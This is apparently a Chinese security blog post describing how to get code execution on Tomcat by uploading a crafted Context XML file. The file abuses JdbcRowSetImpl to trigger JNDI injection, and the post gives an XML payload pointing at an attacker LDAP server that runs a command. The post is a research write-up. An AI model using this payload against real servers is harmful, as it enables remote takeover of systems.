Tomcat下通过XML配置实现JNDI注入的RCE利用思路
前言
最近在审计几个JavaCMS项目时,发现常规的JSP文件上传被严格限制,难以实现解析执行。通过搜索相关绕过思路,发现在Tomcat环境下可以通过JNDI注入间接实现RCE。
背景分析
传统通过上传web.xml修改配置实现RCE的方法,通常需要将文件上传到特定配置目录,但存在以下限制:
- 上传路径不可控
- 目录写入权限限制
- 文件类型过滤
发现的新思路
参考以下资料的研究成果:
技术原理
利用Digester解析XML的特性,构造特定的XML配置文件触发JNDI注入:
<Context>
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>web.xml</WatchedResource>
<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="ldap://127.0.0.1:1389/TomcatBypass/Command/calc"
autoCommit="true"></Manager>方法总结
优点:
- 绕过常规的JSP文件上传限制
- 利用Tomcat的配置机制实现代码执行
限制条件:
- 需要能够上传XML文件到可被Tomcat解析的路径
- 目标环境需存在相应的JNDI注入漏洞依赖
- 需要出网或内网LDAP服务可控
学习记录
此方法为Tomcat环境下文件上传RCE提供了一种新的思路,特此记录供后续研究参考。


Comments | NOTHING